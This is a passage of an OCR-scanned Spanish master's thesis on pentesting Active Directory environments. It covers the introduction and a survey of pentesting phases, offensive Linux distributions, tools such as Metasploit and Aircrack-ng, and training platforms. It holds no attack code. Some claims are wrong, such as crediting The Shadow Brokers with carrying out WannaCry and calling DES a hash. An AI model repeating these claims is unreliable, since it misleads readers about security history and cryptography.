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Resumen

Actualmente, la tecnologia estd experimentando un enorme crecimiento en todos los dmbitos
de nuestro entorno, las organizaciones son conscientes de este crecimiento, y cada vez son
mas las que tratan de implantar estas nuevas tecnologias. La mayoria de las organizaciones
realizan una gestién de sus recursos mediante un servicio de directorio, cuya implementacién

mas conocida es Active Directory.

Al mismo tiempo que las tecnologias van creciendo, la seguridad informatica experimenta un
crecimiento similar, por lo que estas organizaciones sienten la necesidad de realizar auditorias
técnicas de pentesting para poder comprobar su nivel de seguridad real y ser capaces de

actuar en caso de ataque.

En el presente Trabajo Final de Mdster se ha querido dar visibilidad a aquellos ataques mas
habituales que se materializan de forma habitual en entornos empresariales reales. Para ello,
se ha desarrollado un piloto experimental donde se crea un entorno Active Directory
vulnerable, con el objetivo de mostrar aquellas vulnerabilidades conocidas, asi como errores
de configuracién que llevan a un atacante real a comprometer todo el entorno empresarial en

su totalidad.

Palabras clave: Pentesting, Red Team, Active Directory, Hacking ético, Ciberseguridad
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Abstract

Currently, technology is experiencing an enormous growth in all areas of our environment,
organizations are aware of this growth, and more and more are trying to implement these
new technologies. Most organizations manage their resources through a directory service, the

best-known implementation of which is Active Directory.

At the same time as technologies are growing, IT security is experiencing a similar growth, so
these organizations feel the need to perform technical pentesting audits to check their actual

security level and to be able to act in case of an attack.

In this Master's Thesis, the aim was to give visibility to the most common attacks that are
common in real business environments. To this end, an experimental pilot has been developed
where a vulnerable Active Directory environment is created, with the aim of showing those
known vulnerabilities, as well as configuration errors that lead a real attacker to compromise

the entire business environment.

Keywords: Pentesting, Red Team, Active Directory, Ethical hacking, Cybersecurity
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1. Introduccion

Vivimos en un mundo interconectado por las redes de comunicaciones, donde miles de
millones de datos de viajan a través de estas redes. Esta transformacion digital que desde hace
varios afos venimos experimentando, ha cambiado los comportamientos y relaciones sociales
de las personas, sin embargo, no solo ha cambiado el comportamiento de todos los usuarios
de este planeta, sino que también ha cambiado el comportamiento de las organizaciones, las
cuales se han visto obligadas a evolucionar y cambiar su modelo de negocio replanteandose
sus propios procesos y estrategias para poder competir en un mundo donde las tecnologias

avanzan a pasos agigantados.

Este proceso de evolucidn se podria definir como la integracién de las tecnologias nuevas y
emergentes en todas las areas de una organizacién para cambiar y adaptar su forma de
trabajar, cuyo objetivo es mejorar la competitividad y productividad de cara al mercado
laboral, asi como ofrecer aquello que los clientes tanto demandan. Ahora bien, no basta solo
con adaptar esta nueva tecnologia a la organizacidon, sino que debe haber un cambio de

mentalidad desde la alta direccién hasta todos y cada uno de los empleados.

Uno de los principales cambios que conlleva este proceso de evolucion es la forma de
organizacién interna que presenta una organizacion, donde las tecnologias y las redes de
comunicaciones han hecho posible la creacién de un directorio centralizado a través de una
red distribuida que facilita la autenticacion, almacenamiento y administracion de todos los
elementos que conforman esta red (usuarios, equipos, etc.) gracias a una gran base de datos
gue almacena toda la informacidn. Esta red distribuida se denomina servicio de directorio.
Actualmente el servicio de directorio mas utilizado por las organizaciones es Active Directory
de la compaiiia Microsoft [1], pero también existen alternativas de software libre como Open

LDAP de OpenLDAP Fundation [2] o Apache Directory de Apache Software Foundation [3].
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1.1. Motivacion

Cada vez son mas las organizaciones que se decantan por utilizar un servicio de directorio que
cuenta con una red distribuida para la disposicion interna de su organizacion puesto que
presenta importantes beneficios, como la creacion de una estructura jerarquica que permite
estructurar la organizacion de una forma eficiente para realizar tareas de administracion de
los elementos de la misma, asi como la creacién de directivas de grupo (GPO) para controlar
todo aquello que los usuarios pueden y no pueden hacer en su equipo, o incluso la
autenticacion de usuarios mediante credenciales compuestas por usuario y contrasefia

independientemente del equipo que esté utilizando.

Sin embargo, el servicio de directorio, aunque a simple vista puede parecer un servicio
bastante simple y seguro para administrar y gestionar de los elementos de una red, es un
servicio que no es inmune a ataques ya que no estd exento de vulnerabilidades. Estas
vulnerabilidades pueden deberse a diversos factores, no obstante, aquellas vulnerabilidades
gque desgraciadamente se suelen encontrar en entornos empresariales reales, son aquellas
relacionadas con errores de configuracion, es decir, existen configuraciones erréneas o
incompletas que exponen un equipo, un servicio, o incluso la informacién de un empleado
como su credencial de acceso, o sunombre completo, y esto supone el punto de partida para
los atacantes que deseen comprometer la organizacion. El éxito de los ataques a entornos
empresariales que se estructuran internamente mediante un directorio activo reside en toda
aquella informacién que de forma consciente o inconsciente estan exponiendo fuera de la
misma, informacion que un atacante podria recoger mediante técnicas de hacking como
fingerprinting, u OSINT entre muchas otras para construir un mapa de la organizacién y poder

realizar una planificacién detallada de usuarios, grupos, equipos, etc.

No obstante, también existen organizaciones que presentan configuraciones muy robustas de
directorio activo que se complementan con buenas practicas de seguridad informatica como
pueden ser escaneres de vulnerabilidades rutinarios, o test de intrusiones entre otras. Es
entonces cuando un atacante debe optar por otra estrategia para conseguir informacién que
le sea de utilidad para comprometer la organizacién, una de las estrategias que suelen tener

un alto indice de éxito es la ingenieria social.
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El atague mds conocido de ingenieria social es el ataque de phishing, que dirigido contra algun
miembro de la organizacién suele ser suficiente para ofrecerle al atacante esa pequeiia
ventana por la que entrar, al igual que otro ataque de ingenieria social como el smishing.
Afortunadamente, las organizaciones cada vez son mds conscientes de este tipo de técnicasy
emplean controles para intentar reducir el impacto que provocarian este tipo de ataques en
su organizacion. A pesar de esto, la historia nos demostré como de vulnerables somos los
seres humanos frente a un ataque de este estilo, un claro ejemplo es el famoso hacker
estadounidense Kevin Mitnick [4], el cual en la década de 1990 fue capaz de conseguir
informacién confidencial de varias companias telefdnicas y tecnoldgicas simplemente

realizando llamadas de teléfono a varios empleados de estas compaiiias.

1.2. Justificacion del proyecto

Teniendo en cuenta la importancia y popularidad que actualmente presenta el servicio de
directorio para la disposicién interna de una organizacidn, se pretende que este proyecto sirva
para demostrar como un atacante podria comprometer todo un entorno de que tenga
presente este servicio, asi como poner de manifiesto todas aquellas vulnerabilidades
presentes debidas a errores de configuracion o a una configuracion incompleta.
Seguidamente, para solucionar de alguna manera las vulnerabilidades comentadas, se

explicardn todas aquellas medidas de mitigacién.

Un entorno empresarial real que disponga de servicio de directorio no carece de
vulnerabilidades, y aunque bien es cierto que pueden surgir nuevas vulnerabilidades,
denominadas “0-days”, la mayoria de las vulnerabilidades que presentan estos entornos se
deben a errores de configuracion, tal y como se ha comentado anteriormente. La presencia
de una configuracién insegura es algo que ocurre frecuentemente, simplemente la concesién
de privilegios excesivos en cuentas locales es un fallo grave de seguridad, ya que, si un
atacante lograse comprometer esa cuenta, supondria que también puede comprometer
aquellas maquinas donde dicha cuenta tuviese privilegios dentro del entorno de directorio
activo. No obstante, existen otros fallos de seguridad como puede ser la estandarizacion de

credenciales de administrador local con una débil politica de contrasefias, o incluso la
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instalacion de aplicaciones no autorizadas; estos escenarios le servirian a un atacante para
comprometer credenciales de acceso y averiguar cuantos privilegios poseen dentro del
servicio de directorio. Desde el punto de vista del atacante, el mejor de los casos seria
comprometer una cuenta de administrador de dominio dentro del directorio para asi poder
comprometer todas y cada una de las maquinas que pertenecen a este dominio. Por el
contrario, el peor de los casos seria comprometer una cuenta sin privilegios dentro del

dominio, e ir escalando hasta lograr comprometer una cuenta de administrador de dominio.

Lo que se acaba de exponer no es mas que la recreacion de ataques que actualmente sufren
compaiiias que presentan una configuracion insegura, y es por ello por lo que es sumamente
importante que estas compaiiias realicen auditorias de seguridad informatica donde se
enumeren e identifiquen todos aquellos sistemas operativos, topologias de red, etc., asi como
se analicen servicios y aplicaciones, e incluso se realicen varios tipos de auditorias como

pueden ser auditorias de paginas web o auditorias de seguridad perimetral, entre otras.

1.3. Estructura del proyecto

A continuacidén, se hara una breve descripcidn de los capitulos contenidos en esta memoria

para facilitar la comprension lectora del proyecto:

e Capitulo 2: En este capitulo se realiza una recopilacion de informacion sobre el mundo
de la seguridad informatica. Se plasma una visién global de la seguridad informatica,
de la gran importancia y repercusiones que ha tenido en los ultimos quince afios. De
forma gradual nos vamos sumergiendo en la seguridad ofensiva, y mas concretamente
en las auditorias técnicas de pentesting, conociendo los principales sistemas
operativos que existen, asi como sus herramientas y las certificaciones profesionales.
También introducimos el servicio de directorio, explicando en que consiste y como esta

formado, asi como todas aquellas tecnologias que implementan este servicio.

e Capitulo 3: En este capitulo se define, tanto el objetivo general que persigue el
proyecto, como aquellos objetivos especificos del mismo. También se detalla la

metodologia seguida para el desarrollo del proyecto.



Alvaro Temporal Palomares
Pentesting de entornos Active Directory vulnerables

Capitulo 4: En este capitulo se detalla de forma muy exhaustiva y a profundidad el
desarrollo completo del proyecto, comprendiendo e indagando a bajo nivel en
aquellos protocolos que se quiere atacar. También se define el entorno vulnerable
donde se realizaran los ataques, es decir, tanto el esquema légico de red, como los
usuarios a nivel de dominio de Active Directory y la configuracion a realizar en todas
las maquinas de este dominio. Sin lugar a duda, la parte mas interesante de este
capitulo es la realizacion de los ataques y la realizacion del reconocimiento del
entorno. Tanto en los ataques, como en el reconocimiento, se describen los pasos a
seguir y se especifican aquellas herramientas a utilizar. Finalmente, podemos
encontrar algunas pautas de mitigacion que ayudan a reducir el impacto de los

ataques.

Capitulo 5: En este capitulo se explican aquellas conclusiones razonadas tras la
finalizacion del proyecto. También encontramos todos aquellos proyectos que son
complementarios y que derivan de este mismo proyecto, lo que deja abierta la puerta

a la continuacion del proyecto, mejorandolo y otorgandole un nuevo rostro.
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2. Estado del arte

En el capitulo actual se explicardn todos aquellos conceptos previos necesarios para
comprender que es y en que consiste un test de intrusidon (penetration testing; pentesting),
asi como los sistemas especializados en pentesting. Seguidamente se procederd a explicar que
es un servicio de directorio de un modo mas exhaustivo, junto con toda aquella tecnologia
qgue hace posible la construccion de entornos en ambitos empresariales. Finalmente, se

realizard un resumen de todo lo expuesto en este capitulo.

2.1. Laimportancia de la seguridad informatica

La seguridad informadtica, o también denominada ciberseguridad, fue tomando cada vez
mayor importancia a lo largo de la década comprendida entre los afios 2010 y 2020, el
principal motivo fue el alarmante incremento de ciberataques a importantes organizaciones,
tanto publicas como privadas por todo el mundo. Uno de los primeros ciberataques, anterior
a 2010 que aun hoy en dia es muy recordado, fue el ciberatague conocido como DDOS que
sufrié Estonia a manos de Rusia en el afio 2007 [5]. De forma inmediata la Unidn Europeay la
OTAN vieron como los ciberataques creaban nuevas amenazas a las que no se habian
enfrentado hasta entonces, amenazas que todos vimos que no solo podian involucrar a
organizaciones, sino que también podian involucrar a naciones enteras y que podian

desencadenar situaciones extremadamente conflictivas entre naciones.

Como se ha comentado anteriormente, a lo largo de la década comprendida entre los afios
2010y 2020, hemos visto como los ciberataques se incrementaban de forma alarmante. Cada
afo desde 2010, las noticias relacionadas con ataques a sistemas informaticos o incluso con
filtraciones de datos personales, dejaron de ser noticias puntuales para convertirse en noticias
habituales, dos ejemplos que demuestran las enormes repercusiones que los ciberataques
pueden desencadenar y que merecen la pena destacar son “Cambridge Analityca” [6] y

“WannaCry” [7].
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El primero de ellos, demuestra como los ataques informdticos no solo se utilizan para la
extorsion o para la revelacién de informacidn confidencial, sino que también pueden cambiar,

no solo el trascurso politico de uno o varios paises, sino la propia historia de estos paises.

En el afio 2014, la empresa de profiling Cambridge Analityca realizé diversos test de
personalidad que recogian datos de caracter personal centrados en ciudadanos de Estados
Unidos a través de la red social Facebook, la cual dio su consentimiento para la realizacién de
esta prdctica. Con todos los datos recogidos, Cambridge Analityca realizaba contenido
personalizado acorde con todas aquellas personas que estaban indecisas en su postura
politica, manipulando asi la decisién de estas personas. En esta ocasidn su objetivo era la
campafia politica del partido republicano de los Estados Unidos, sin embargo, esta misma
empresa realizd el mismo procedimiento con otro objetivo distinto, esta vez dirigido a los
ciudadanos de Reino Unido para influenciar su decision respecto al brexit en el afio 2016. Pese
a que no se trata de un ataque informatico propiamente dicho, se vulneraron aquellas leyes
relacionadas con la privacidad y con los datos personales para manipular la opinién ciudadana,

teniendo un impacto extremadamente severo para el trascurso de varias naciones.

El segundo de ellos, a diferencia del primer ejemplo, se trata de un ataque de ransomware
gue bautizaron como “WannaCry” en el aino 2017. El grupo de cibercriminales conocidos como
The Shadow Brokers se aprovecharon de la vulnerabilidad conocida como “EternalBlue” para
atacar miles de equipos con el sistema operativo Windows de la compaiiia Microsoft,
precisamente esta misma compaiiia habia publicado una mitigacién contra este ataque dos
meses antes de que se produjese a escala masiva, sin embargo, miles de usuarios y
organizaciones no actualizaron su sistema operativo y por tanto eran vulnerables al ataque.
Como en todo ataque de ransomware, los cibercriminales pedian un rescate en bitcoins con
un valor de 300 ddlares, para posteriormente aumentar dicha cantidad hasta 600 ddlares. El
ataque se extendid por mas de 150 paises y tuvo un impacto econdmico considerable

estimando unas pérdidas por valor de 4.000 millones de ddlares en todo el mundo.

En el ano 2020, la llegada de la pandemia del COVID-19 ha supuesto un reto para miles de
empresas [8], las cuales se han acelerado su transformacion digital y se han visto en la
obligacion de adoptar un nuevo modelo operativo y de negocio para poder ejercer el

teletrabajo. Los atacantes han visto la pandemia como una excelente oportunidad para buscar
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y explotar vulnerabilidades de estas empresas que han acelerado su transformacion digital,

ademas de aprovechar al maximo aquellos ataques de ingenieria social.

El World Economic Forum, en su andlisis de riesgos anual del aino 2021 [9], situa los fallos de
ciberseguridad como una amenaza con un impacto y probabilidad severos, tal y como se

muestra en la Figura 1.
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2.2. Elarte del pentesting

Cuando las organizaciones se dieron cuenta que la seguridad era de vital importancia, no solo
para la continuidad de su negocio, sino para transmitir confianza de cara a los posibles
clientes, comenzaron a demandar auditorias de seguridad informatica y de seguridad de la
informacién. Este tipo de auditorias pretenden enumerar, determinar y especificar todas
aquellas vulnerabilidades que pudieran manifestarse realizando una revisién de caracter
exhaustivo en los activos de informaciéon de las organizaciones, entendiendo activo de
informacidn, en este caso, como todos aquellos recursos representados de alto valor para las
mismas (servidores, redes, estaciones de trabajo, cortafuegos, etc.). El principal objetivo de
estas auditorias consiste en hacerles saber, tanto a la alta direccién de una organizacién, como
a los responsables de seguridad de esta, los resultados de lo que se acaba de auditar,
permitiendo saber cual es la situacidn exacta de sus activos de informaciéon en cuanto a

seguridad se refiere.

Con el paso del tiempo, se crearon varios tipos de auditorias de seguridad informatica o de
seguridad de la informacion, como las auditorias de paginas web o las auditorias de cédigo de
aplicaciones, entre otras. Sin embargo, existe un tipo de auditoria que destaca por encima del
resto ya que nos permite saber, desde el punto de vista de los atacantes, el nivel real de
seguridad informatica que posee una organizacién. Este tipo de auditorias se denominan test

de intrusion o test de penetracidn (penetration testing; pentesting en inglés).

El pentesting, es un conjunto de técnicas que tratan de imitar los comportamientos de un
atacante real a la hora de comprometer un entorno empresarial, realizando varios ataques
dirigidos a los sistemas informaticos de una organizacion para detectar errores, o
vulnerabilidades en ellos, como se ha comentado anteriormente, con una unica finalidad,
corregir estos errores o vulnerabilidades para que no puedan ser explotadas por atacantes
reales. Este tipo de auditorias, aunque puede comenzar de diversas formas, la forma mas
habitual con la que comienzan los auditores, denominados pentesters, es la recogida de
informacién en fuentes publicas, una practica que se denomina footprinting y se apoya en la
inteligencia que se le otorgue a toda la informacidn recogida, esto mismo es conocido como
OSINT. Gracias a la huella digital que existe, un pentester es capaz de recoger toda la

informacién publica, aplicar inteligencia y reconstruir un mapa de la organizacién que le sirva

9
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como punto de partida para comenzar a buscar vulnerabilidades y errores, todo ello sin haber
establecido contacto directo con la organizacién a auditar, recibiendo esta técnica el nombre
en castellano de reconocimiento pasivo. Una vez el pentester realiza esta primera fase,
comienza la segunda fase de la auditoria, donde el auditor interactua directamente con los
sistemas informaticos o incluso con los empleados de la organizacion, estd practica se
denomina fingerprinting, recibiendo el nombre en castellano de reconocimiento activo. Se
caracteriza por recopilar informacién sobre los sistemas informaticos y realizar un analisis de
vulnerabilidades aprovechables para que sean explotadas, esta practica puede
complementarse con técnicas de ingenieria social dirigidas a empleados de la organizacién, ya
gue en muchas ocasiones una de las mayores vulnerabilidades de las organizaciones reside en
los empleados de esta. Una vez acabada la segunda fase, se redacta un informe reportando
toda la informacion obtenida, vulnerabilidades, errores, técnicas de explotacion realizadas
con éxito, asi como toda aquella informacién que sea de utilidad para que la organizacion a
auditar sea consciente de la seguridad real que presenta actualmente frente a posibles
atacantes. Este informe mantiene la esencia de las auditorias de seguridad informatica, ya que
en él es posible encontrar el nivel de seguridad real actual, como se ha comentado, asi como
las defensas presentes, su eficacia frente a ataques y el impacto de los fallos de seguridad

detectados.

No obstante, lo que se acaba de explicar es una practica comun y genérica de un pentesting,
ya que segun la organizacién a auditar se pueden realizar varios planes o metodologias
especificas en funcion de la tecnologia presente en la organizacion, que ayudarian a realizar
estas auditorias de un modo mds minucioso. Aunque también existen varios tipos de

pentesting que se pueden clasificar en:

e Pentesting de caja negra: Se trata del test de intrusidn que mas se asemeja a la
realidad, ya que en este tipo de pentesting la organizacién no facilita ningun dato al
auditor, por lo que este debera encontrar vulnerabilidades a ciegas, como si de un

cibercriminal se tratase.

10
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e Pentesting de caja blanca: Se trata del caso contrario al pentesting de caja negra, ya
gue en este tipo de pentesting la organizacién facilita una gran cantidad de datos al
auditor, como topologia de la red, cortafuegos, contrasefias, etc. Se trata por tanto del
test de intrusion mas completo que podria formar parte del andlisis integral de la
organizacién, no obstante, también se trata del test de intrusién mads disperso, ya que

en él podrian obviarse u olvidarse vulnerabilidades.

e Pentesting de caja gris: Se sitla en un punto intermedio a los dos anteriores, ya que
en este tipo de pentesting la organizacidn facilita datos reducidos al auditor. Es el test
de intrusidon que mas tiempo y medios necesita, pero también es considerado como el
test de intrusidn que mayor indice de efectividad tiene al reflejar las vulnerabilidades

en una organizacion.

El pentesting es considerado como una practica necesaria para conocer el nivel de real de
seguridad de una organizacién, como se ha expuesto anteriormente, pero también es
considerada como una practica intrusiva en la que una organizacién nos otorga permisos
legales para realizar la auditoria. Un contrato de pentesting incluird una autorizacion escrita e
inequivoca por parte de la alta direccion de la organizacidn, asi como todas aquellas clausulas
en las cuales se indique el alcance del ataque y las vias de comunicacion para trasmitir los

informes confidenciales, entre otras.

Es posible pensar que un pentester se asemeja mucho a un término que se entiende de
manera errénea en la sociedad actual para referirse a un cibercriminal, como es el termino
hacker; donde un hacker no es un cibercriminal, sino que es cualquier profesional o académico
gue modifica la tecnologia para que pueda emplearse de formas no pensadas por sus
creadores, siempre con fines educativos o de investigacién y en entornos controlados. Sin
embargo, aunque existen una gran cantidad de similitudes entre un pentester y un
cibercriminal en cuanto a conocimiento técnico de las tecnologias se refiere, las diferencias
morales que existen son abismales, ya que un pentester en ninguna situacion obtendra

beneficio propio con la informacién de seguridad descubierta, asi como no revelara esta
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informacién bajo ningln concepto y destruira en su totalidad aquella informacién sensible

gue ya no sea de utilidad para la organizacién a auditar.

2.2.1. Sistemas para pentesting

Para la realizacion de los test de intrusion, los pentesters cuentan con diferentes sistemas
operativos con los que poder realizar estas auditorias. Por tanto, a continuacion, se realizard
un tratamiento de aquellos sistemas operativos especializados, mas reconocidos y utilizados,

en pentesting y hacking ético.

= Kali Linux

Se trata del sistema operativo por excelencia en materia de seguridad informatica
ofensiva, incluyendo la informatica forense. Fue desarrollada en el afio 2013 por Mati
Aharoni y Devon Kearns, ambos pertenecientes a la empresa internacional de
ciberseguridad ofensiva estadounidense denominada Offensive Security [10]. Kali
Linux es una distribucion basada en Debian GNU/Linux, ya que se podria considerar
como la evolucidén del sistema operativo base sobre el que se desarrollé, denominado
BackTrack [11], el cual era un sistema operativo basado en GNU/Linux disefiado para

las auditorias de seguridad informatica.

Esta distribucién de Linux trae preinstaladas mas de 600 herramientas de seguridad
informatica ofensiva incluyendo aquellas herramientas mas conocidas y usadas como
NMAP [12], John The Ripper [13] o Metasploit [14], entre otras. La filosofia de este
sistema operativo se basa, en la utilizacién de las herramientas que trae consigo con
fines éticos y educativos, con los que poder aprender seguridad informatica, es por
ello por lo que numerosos expertos en seguridad informatica afirman que se trata del
sistema de seguridad ofensiva mas avanzado que existe en la actualidad. Es frecuente
poder ver esta distribucidn en los congresos de ciberseguridad organizados por todo

el mundo, ya sea en sus conferencias o en sus concursos CTF. Ademds, como dato
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curioso que hace referencia a la cultura popular, Kali Linux fue la distribucion que se

eligié para que fuese mostrada en la famosa serie de television “Mr. Robot” [15].

Parrot Security OS

Fue desarrollada por el equipo de FrozenBox en el afio 2013, sin embargo, no seria
hasta el afio 2018 cuando este sistema operativo comenzaria a ganar popularidad en
el mundo de la ciberseguridad [16]. Se trata de una distribucién basada en Debian
GNU/Linux, y al igual que la distribucidn anterior estd disefiada para aquellas tareas
relacionadas con la seguridad informatica ofensiva, incluyendo también la informatica
forense. Dado que se trata de un sistema operativo ligero y altamente eficiente, son
muchos los expertos de seguridad informdtica que recomiendan este sistema como
alternativa al sistema Kali Linux, y no solo por su alta eficiencia, ya que a pesar de que
este sistema no cuente con un equipo tan numeroso y conocido como Kali Linux, Parrot
es mas activo en sus mejoras y actualizaciones, asi como en su mantenimiento.
Teniendo en cuenta todas estas consideraciones, Parrot es una muy buena opcién para

realizar auditorias de seguridad informatica.

BlackArch Linux

Se trata de una distribucién que ha irrumpido en los ultimos anos con fuerza en el
mundo de la ciberseguridad. BlackArch Linux es una distribucidén basada en Arch Linux,
desarrollada en el afio 2014 [17], especializada en tareas de seguridad informatica
ofensiva, al igual que las dos distribuciones anteriores. Esta distribucién se caracteriza
por tener varios administradores de ventanas y por la ausencia de un entorno de
escritorio, no obstante, este sistema es muy eficiente y veloz ya que no dispone de
elementos distractores. Algo que le otorga un gran valor a este sistema es que dispone
en sus repositorios de mas de 2.000 herramientas de seguridad informatica, pese a
gue muchas de ellas es posible encontrarlas en los anteriores sistemas que se han

expuesto, existen otras herramientas que son exclusivas para este sistema. Sin duda
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es uno de los sistemas preferidos para aquellos usuarios especializados en Linux y una

gran alternativa a los sistemas Kali o Parrot.

2.2.2. Herramientas para pentesting

Como se ha expuesto, los sistemas operativos especializados en seguridad informatica
ofensiva que se utilizan para realizar test de intrusiones disponen de numerosas herramientas.
Por tanto, a continuacién, se van a exponer aquellas herramientas mas eficientes y utilizadas

en pentesting y hacking ético.

= NMAP

Se trata de la herramienta por excelencia para realizar un escaneo de puertos en un
sistema informatico. NMAP fue creada por el experto estadounidense en redes Gordon
Lyon [12] y esta desarrollada en varios lenguajes de programacién como C++ o Python,
entre otros. Como se ha comentado, se trata de una herramienta capaz de escanear
una red para descubrir sistemas informaticos, identificar puertos abiertos o cerrados
en dichos sistemas, asi como el sistema operativo de los sistemas, determinar los
servicios que estan ejecutandose en dichos puertos, o averiguar algunos componentes
hardware de los sistemas descubiertos. Gracias a todas estas caracteristicas, se ha
convertido en una herramienta habitual e imprescindible en los test de intrusiones y
hacking ético, y actualmente todos los sistemas especializados en ciberseguridad
disponen de esta herramienta preinstalada. Con el paso de los afios, NMAP fue
adaptandose a las nuevas tecnologias que fueron emergiendo, ya que en un principio
tan solo estaba disponible para sistemas Linux, posteriormente se ha convertido en
una herramienta multiplataforma que cuenta hasta con un entorno grafico

denominado ZenMAP.
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Metasploit

Es la herramienta por excelencia para la explotacién de vulnerabilidades en un sistema
informatico, asi como el pentesting y el hacking ético [14]. Fue creada en el aio 2003
por H.D Moore desarrollando la herramienta en el lenguaje de programacién Ruby,
posteriormente en el afio 2009 el proyecto que contenia la herramienta fue absorbido
por la empresa estadounidense de ciberseguridad Rapid7, anunciando que no sera
necesario agregar o actualizar gemas, ya que han automatizado este proceso, es decir,
la herramienta se puede instalar y actualizar de forma inmediata sin necesidad de
instalar el gestor de gemas del lenguaje Ruby. Metasploit contiene numerosos exploits,
payloads, shellcodes, etc. en funcion de la vulnerabilidad a explotar en un sistema
informatico, organizados en mddulos. Estos mddulos pueden ser de varios tipos:
auxiliar, encoder, exploit, payload, post y nop; en funcién de la tecnologia a explotar o
la tarea a realizar, ademas dispone de una serie de herramientas internas, asi como de
una gran multitud de comandos para utilizar Metasploit. Sin duda, uno de los payloads
mas destacados de los que dispone la herramienta es Meterpreter, el cual se trata de
un intérprete de drdenes que se ejecuta en memoria a abajo nivel, es decir, se trata
de un payload dificil de detectar, ya que los sistemas de proteccidon se encuentran
varias capas por encima. No obstante, también es posible crear y codificar payloads

gracias a su herramienta denominada Msfvenom.

Al igual que la herramienta NMAP, Metasploit se ha ido adaptando a las tecnologias
nuevas y emergentes, hasta el punto de disponer de un entorno grafico

multiplataforma denominado Armitage.

Se trata, por tanto, de una herramienta que automatiza las explotaciones a equipos
informaticos, dentro del mundo de la seguridad informdatica ofensiva existe cierto
debate sobre el uso de esta, ya que numerosas certificaciones profesionales sobre
pentesting y/o hacking ético, asi como expertos en ciberseguridad, prohiben o
desaconsejan el uso de la herramienta. Pese a las criticas, no deja ser una magnifica
herramienta de explotacién de vulnerabilidades que facilita en gran medida la tarea

de los pentesters.
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John The Ripper

Se trata de la herramienta para realizar ataques de fuerza bruta basados en diccionario
mas utilizada. Desarrollada por el experto ruso en ciberseguridad Alexander Peslyak
en el lenguaje de programacion C [13], John The Ripper es una herramienta capaz de
romper numerosos algoritmos criptograficos de hash, considerados inseguros
actualmente debido a que incumplen alguna de las seis propiedades de las funciones
hash, como SHA-1, MD5 o DES, entre otros. Pese a que sea una herramienta para
romper funciones hash, se disefié para fines educativos y de investigacion, ademas
permite poner de manifiesto la debilidad que puede presentar la politica de
contrasefias en una organizacién. Actualmente se trata de una herramienta

multiplataforma indispensable para cualquier pentester.

Aircrack-ng

Es una suite para auditar la seguridad de redes inaldmbricas desarrollada por el
experto francés en ciberseguridad Thomas d’Otreppe en el lenguaje de programacion
C [18]. Aircrack-ng es un analizador de trafico que trata de romper la seguridad que
ofrecian diversos protocolos de cifrado incluidos en el estandar IEEE 802.11 como WEP
y WPA/WPA2-PSK. Dispone de una gran cantidad de herramientas, entre las que
destacan aquellas mas utilizadas para el pentesting de redes inalambricas como
airodump-ng, la cual captura los vectores de inicializacion, o airmon-ng, que instaura
el modo monitor de la tarjeta de red para poder capturar e inyectar vectores de
inicializacion. Gracias a esta suite es posible realizar numerosos ataques conocidos
contra el protocolo de cifrado WEP, el cual se considera inseguro en la actualidad,
como Chop-Chop o ARP Replay, asi como contra los protocolos de cifrado WPA/WPA2-
PSK, como Evil Twin o Clientless PKMID.
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= OWASP ZAP

Se trata de un escaner de vulnerabilidades para seguridad en plataformas web de
codigo abierto. Se trata de una herramienta creada por el proyecto OWASP en el afio
2010 y desarrollada en el lenguaje de programaciéon Java [19]. OWASP-ZAP puede
usarse segun la tarea que se quiera realizar gracias a las numerosas funciones que
incorpora, sin embargo, esta herramienta destaca por utilizarse como proxy para
interceptar y/o manipular las peticiones entre el cliente y el servidor web. También se
le conoce por tener la capacidad de realizar escaneos automatizados de
vulnerabilidades, reportando la vulnerabilidad exacta que encuentra, o por tener la

capacidad de realizar tareas de fuzzing.

2.2.3. Plataformas de entrenamiento en pentesting

Hasta ahora hemos explicado aquellos sistemas operativos especializados en seguridad
informatica ofensiva mas utilizados, asi como aquellas herramientas que facilitan en gran
medida las tareas de pentesting. No obstante, tan solo con estos sistemas operativos y
herramientas no es suficiente para lograr ser pentester, ya que se necesita de ciertos
conocimientos y habilidades avanzadas. Es por ello por lo que existen varias plataformas
donde poder fortalecer todos esos conocimientos y habilidades en seguridad informatica

ofensiva.

=  Hack The Box

Es una plataforma de retos en seguridad informatica que se enfoca en la parte mas
ofensiva de la misma. Fundada por el experto griego en ciberseguridad Haris Pylarinos
en el afio 2017 [20], esta plataforma se ha ganado la admiracidn y el respeto de todos
los expertos en seguridad informatica a escala mundial debido a la gran cantidad de

retos que ofrece cuya dificultad varia en funcién de los conocimientos y habilidades
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del usuario. El propio registro a la plataforma es un reto en si mismo, ya que el usuario

debe conseguir el cddigo de invitacion.

Una vez dentro de la plataforma, podemos encontrar retos en varias categorias como
explotacién, analisis forense, criptografia, ingenieria inversa o hacking web, entre
otras. Ademas, no solo ofrece retos, sino que también ofrece una serie de maquinas
virtuales con las que poder establecer conexion mediante VPN y enfrentarse a un
entorno lo mas realista posible, donde deberemos explotar las vulnerabilidades de

estas maquinas para conseguir las banderas.

Hack The Box no solo es una plataforma de retos, sino que constituye una de las
comunidades de hacking mas grandes a nivel mundial, ya que dispone de un foro para
la resolucion de dudas o una wiki con documentacidn para estudiar las técnicas mas

utilizadas y aprender todo lo necesario en seguridad informatica ofensiva.

Try Hack Me

Se trata, al igual que la plataforma anterior, de una plataforma de retos en seguridad
informatica enfocado también en la parte mas ofensiva de la misma. Fundada por los
expertos britanicos en ciberseguridad Ben Spring y Ashu Savani en el afio 2018 [21],
esta plataforma emergié e irrumpidé con fuerza en el mundo de la seguridad
informatica debido a la gran cantidad de mdquinas virtuales de las que dispone
preparadas para que sus vulnerabilidades sean explotadas. Pese a que esta plataforma
no planteé retos individualizados en seguridad informatica ofensiva, uno de sus puntos
mas fuertes que le ha servido para ganar una gran popularidad es la dificultad tan
progresiva que poseen sus maquinas. Ademas, Try Hack Se me ha tomado el
aprendizaje de sus usuarios muy en serio, ofrenciendo cursos y médulos para que estos
puedan aprender aquello que mas les llame la atencién de un modo sencillo y

entretenido.
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=  Atenea

A diferencia de las anteriores plataformas expuestas, Atenea es una plataforma de
retos en seguridad informatica desarrollada por el CCN-CERT CNI (Capacidad de
Respuesta a Incidentes de Seguridad de la Informacién del Centro Criptoldgico
Nacional, adscrito al Centro Nacional de Inteligencia) en el afio 2006 [22], es decir, se
trata de una plataforma creada por un organismo de gobierno de Espaia, el cual se
encarga de la seguridad informatica de las administraciones publicas, los organismos
publicos y las empresas estratégicas del pais. Como objetivo de concienciacién del
CCN-CERT, Atenea tiene unos principios muy sdlidos orientados a fomentar el
aprendizaje y concienciar de los riesgos en seguridad informatica siempre en un
entorno seguro y por ello, cuenta con una serie de reglas dentro de la plataforma. Esta
plataforma esta orientada fundamentalmente a ofrecer una serie de retos, como se ha
comentado anteriormente, en diferentes dmbitos de la seguridad informatica como

